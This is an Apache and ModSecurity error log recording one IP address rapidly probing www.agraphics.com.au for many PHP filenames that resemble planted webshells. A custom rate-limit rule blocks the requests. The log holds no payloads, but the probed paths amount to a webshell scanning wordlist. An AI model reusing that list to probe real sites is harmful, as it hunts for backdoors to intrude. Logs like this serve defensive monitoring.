[Sun Mar 01 13:27:17.338700 2026] [:error] [pid 41967:tid 41991] [client 158.158.52.178:34358] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an7.php"] [unique_id "aaPONYO1bqY181I02eFqNQAAAJY"]
[Sun Mar 01 13:27:17.857585 2026] [:error] [pid 41342:tid 41349] [client 158.158.52.178:32268] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an7.php"] [unique_id "aaPONY4iJ6RAS5CatDk5ogAAAgQ"]
[Sun Mar 01 13:27:18.361264 2026] [:error] [pid 41967:tid 41984] [client 158.158.52.178:35496] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ty.php"] [unique_id "aaPONoO1bqY181I02eFqOwAAAI8"]
[Sun Mar 01 13:27:18.882457 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:25625] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ty.php"] [unique_id "aaPONoO1bqY181I02eFqPwAAAIY"]
[Sun Mar 01 13:27:19.378491 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:30064] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ty.php"] [unique_id "aaPON_KRPk6YnJBxw_zttgAAAMk"]
[Sun Mar 01 13:27:19.870312 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:27939] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ty.php"] [unique_id "aaPONwfBuk03yQKDyqu_twAAAdQ"]
[Sun Mar 01 13:27:20.434328 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:42894] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brc.php"] [unique_id "aaPOOPKRPk6YnJBxw_ztuwAAAME"]
[Sun Mar 01 13:27:20.929563 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:37377] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brc.php"] [unique_id "aaPOOPKRPk6YnJBxw_ztvwAAAME"]
[Sun Mar 01 13:27:21.469123 2026] [:error] [pid 41780:tid 41798] [client 158.158.52.178:4443] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brc.php"] [unique_id "aaPOOcONkVoocLIqzy38aAAAA88"]
[Sun Mar 01 13:27:21.972197 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:35463] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brc.php"] [unique_id "aaPOOcONkVoocLIqzy38awAAA8A"]
[Sun Mar 01 13:27:22.488955 2026] [:error] [pid 41967:tid 41982] [client 158.158.52.178:37394] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOOoO1bqY181I02eFqQwAAAI0"]
[Sun Mar 01 13:27:22.975937 2026] [:error] [pid 41967:tid 41972] [client 158.158.52.178:27117] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOOoO1bqY181I02eFqRwAAAIM"]
[Sun Mar 01 13:27:23.500916 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:32274] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOO44iJ6RAS5CatDk5pQAAAg4"]
[Sun Mar 01 13:27:23.995506 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:25630] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aaPOO4O1bqY181I02eFqXQAAAIY"]
[Sun Mar 01 13:27:24.484508 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:32287] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaPOPPKRPk6YnJBxw_zt0AAAAMk"]
[Sun Mar 01 13:27:25.003465 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:19845] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaPOPfKRPk6YnJBxw_zt2AAAAM4"]
[Sun Mar 01 13:27:25.510195 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:25608] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaPOPcONkVoocLIqzy38cwAAA8U"]
[Sun Mar 01 13:27:26.028654 2026] [:error] [pid 41967:tid 41985] [client 158.158.52.178:34311] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "aaPOPoO1bqY181I02eFqmwAAAJA"]
[Sun Mar 01 13:27:26.561242 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:32297] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaPOPsONkVoocLIqzy38dwAAA9Y"]
[Sun Mar 01 13:27:27.067217 2026] [:error] [pid 41342:tid 41368] [client 158.158.52.178:27181] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaPOP44iJ6RAS5CatDk5vAAAAhc"]
[Sun Mar 01 13:27:27.625639 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:37912] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaPOP8ONkVoocLIqzy38ewAAA8o"]
[Sun Mar 01 13:27:28.114590 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:35465] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fr/ms.php"] [unique_id "aaPOQPKRPk6YnJBxw_zt4QAAAME"]
[Sun Mar 01 13:27:28.612152 2026] [:error] [pid 41780:tid 41785] [client 158.158.52.178:25660] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPOQMONkVoocLIqzy38fQAAA8I"]
[Sun Mar 01 13:27:29.130232 2026] [:error] [pid 41780:tid 41800] [client 158.158.52.178:4449] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPOQcONkVoocLIqzy38fwAAA9E"]
[Sun Mar 01 13:27:29.666178 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:4444] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPOQfKRPk6YnJBxw_zt4wAAAME"]
[Sun Mar 01 13:27:30.146450 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:34315] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPOQvKRPk6YnJBxw_zt5gAAAMk"]
[Sun Mar 01 13:27:30.631889 2026] [:error] [pid 41967:tid 41988] [client 158.158.52.178:27127] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gool.php"] [unique_id "aaPOQoO1bqY181I02eFqugAAAJM"]
[Sun Mar 01 13:27:31.161504 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:34329] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gool.php"] [unique_id "aaPOQ_KRPk6YnJBxw_zt6wAAANI"]
[Sun Mar 01 13:27:31.666436 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:43895] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gool.php"] [unique_id "aaPOQwfBuk03yQKDyqu_yQAAAc0"]
[Sun Mar 01 13:27:32.155203 2026] [:error] [pid 41967:tid 41979] [client 158.158.52.178:37404] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gool.php"] [unique_id "aaPORIO1bqY181I02eFqvwAAAIo"]
[Sun Mar 01 13:27:32.654776 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:4466] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaPORIO1bqY181I02eFqwQAAAIU"]
[Sun Mar 01 13:27:33.144809 2026] [:error] [pid 41780:tid 41804] [client 158.158.52.178:35481] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaPORcONkVoocLIqzy38gQAAA9U"]
[Sun Mar 01 13:27:33.639576 2026] [:error] [pid 41780:tid 41802] [client 158.158.52.178:27088] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaPORcONkVoocLIqzy38ggAAA9M"]
[Sun Mar 01 13:27:34.131095 2026] [:error] [pid 41967:tid 41971] [client 158.158.52.178:4450] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaPORoO1bqY181I02eFqxgAAAII"]
[Sun Mar 01 13:27:34.643737 2026] [:error] [pid 41342:tid 41365] [client 158.158.52.178:4446] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mans.php"] [unique_id "aaPORo4iJ6RAS5CatDk5wgAAAhQ"]
[Sun Mar 01 13:27:35.142648 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:24511] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mans.php"] [unique_id "aaPOR8ONkVoocLIqzy38hwAAA8k"]
[Sun Mar 01 13:27:35.644139 2026] [:error] [pid 41342:tid 41347] [client 158.158.52.178:27949] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mans.php"] [unique_id "aaPOR44iJ6RAS5CatDk5xAAAAgI"]
[Sun Mar 01 13:27:36.156477 2026] [:error] [pid 41342:tid 41353] [client 158.158.52.178:25655] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mans.php"] [unique_id "aaPOSI4iJ6RAS5CatDk5xwAAAgg"]
[Sun Mar 01 13:27:36.662533 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:37376] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rum.php"] [unique_id "aaPOSMONkVoocLIqzy38iwAAA8w"]
[Sun Mar 01 13:27:37.202959 2026] [proxy_fcgi:error] [pid 41780:tid 41804] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:37.487223 2026] [proxy_fcgi:error] [pid 41780:tid 41802] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:37.733650 2026] [proxy_fcgi:error] [pid 41780:tid 41798] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:37.976108 2026] [proxy_fcgi:error] [pid 41780:tid 41806] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:38.464738 2026] [proxy_fcgi:error] [pid 41780:tid 41792] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:38.707532 2026] [proxy_fcgi:error] [pid 41780:tid 41801] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:38.975241 2026] [proxy_fcgi:error] [pid 41780:tid 41795] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:39.218560 2026] [proxy_fcgi:error] [pid 41780:tid 41796] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:39.469546 2026] [proxy_fcgi:error] [pid 41780:tid 41788] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:39.711967 2026] [proxy_fcgi:error] [pid 41780:tid 41802] [client 158.158.52.178:27927] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:27:39.951300 2026] [:error] [pid 41780:tid 41800] [client 158.158.52.178:27927] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aaPOS8ONkVoocLIqzy38pAAAA9E"]
[Sun Mar 01 13:27:40.442512 2026] [:error] [pid 41780:tid 41787] [client 158.158.52.178:19882] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aaPOTMONkVoocLIqzy38pwAAA8Q"]
[Sun Mar 01 13:27:40.923150 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:37900] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aaPOTMONkVoocLIqzy38qQAAA9Y"]
[Sun Mar 01 13:27:41.414174 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:25058] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ex.php"] [unique_id "aaPOTcONkVoocLIqzy38rQAAA8A"]
[Sun Mar 01 13:27:41.940903 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:24460] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/post.php"] [unique_id "aaPOTfKRPk6YnJBxw_zt9gAAANI"]
[Sun Mar 01 13:27:42.506405 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:34327] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/post.php"] [unique_id "aaPOToO1bqY181I02eFq4QAAAIk"]
[Sun Mar 01 13:27:42.991980 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:34323] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/post.php"] [unique_id "aaPOTsONkVoocLIqzy38tgAAA8k"]
[Sun Mar 01 13:27:43.473951 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:16137] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/post.php"] [unique_id "aaPOT_KRPk6YnJBxw_zt-gAAAMk"]
[Sun Mar 01 13:27:43.961368 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:37498] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaPOT8ONkVoocLIqzy38uQAAA9Y"]
[Sun Mar 01 13:27:44.488861 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:27935] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaPOUPKRPk6YnJBxw_zt_wAAAME"]
[Sun Mar 01 13:27:44.994649 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:16144] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaPOUPKRPk6YnJBxw_zuAQAAAME"]
[Sun Mar 01 13:27:45.485719 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:27079] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaPOUfKRPk6YnJBxw_zuAwAAANI"]
[Sun Mar 01 13:27:46.010234 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:35594] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jq.php"] [unique_id "aaPOUsONkVoocLIqzy38wAAAA8U"]
[Sun Mar 01 13:27:46.526682 2026] [:error] [pid 41967:tid 41983] [client 158.158.52.178:43452] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jq.php"] [unique_id "aaPOUoO1bqY181I02eFq9AAAAI4"]
